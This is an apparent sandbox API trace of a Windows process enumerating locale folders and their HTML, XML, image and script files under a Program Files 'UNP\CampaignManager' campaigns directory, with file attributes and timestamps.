	[0156.853] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8f47, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x916d8f47, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1ab83100, ftLastWriteTime.dwHighDateTime=0x1d2cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x152b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery-3.1.1.min.js", cAlternateFileName="JQUERY~1.JS")) returned 1
	[0156.853] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lock-Confirmation-page-350.png", cAlternateFileName="LOCK-C~1.PNG")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1c907700, ftLastWriteTime.dwHighDateTime=0x1d2a6ca, nFileSizeHigh=0x0, nFileSizeLow=0x237b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Picture2_80.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x28828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrivacyContentWrapper.min.js", cAlternateFileName="PRIVAC~1.JS")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5e7dfd00, ftLastWriteTime.dwHighDateTime=0x1d2f192, nFileSizeHigh=0x0, nFileSizeLow=0x3e1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="script.min.js", cAlternateFileName="SCRIPT~1.JS")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fa093, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x919fa093, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style.min.css", cAlternateFileName="STYLEM~1.CSS")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a20320, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91a20320, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_ltr.min.css", cAlternateFileName="STYLE_~1.CSS")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_rtl.min.css", cAlternateFileName="STYLE_~2.CSS")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x585d4e00, ftLastWriteTime.dwHighDateTime=0x1d29e39, nFileSizeHigh=0x0, nFileSizeLow=0x3f73, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Win10_Brand.png", cAlternateFileName="WIN10_~1.PNG")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 1
	[0156.854] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 0
	[0156.854] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.855] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0156.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.856] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO") returned 100
	[0156.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0156.998] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.998] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa29c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.998] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.998] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.999] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.999] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.999] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0157.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.000] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0157.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.000] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU") returned 100
	[0157.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.001] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.001] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xdc59, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.001] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.001] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.001] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.001] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.002] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.029] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0157.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.029] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK") returned 100
	[0157.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0157.033] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.033] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.033] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.033] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.033] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.033] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.033] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0157.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.034] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0157.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.034] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI") returned 100
	[0157.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0157.035] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.036] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x926583f5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9931, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.036] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267e657, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9267e657, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x66d5ac00, ftLastWriteTime.dwHighDateTime=0x1d2a223, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.036] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9273d1f2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9273d1f2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
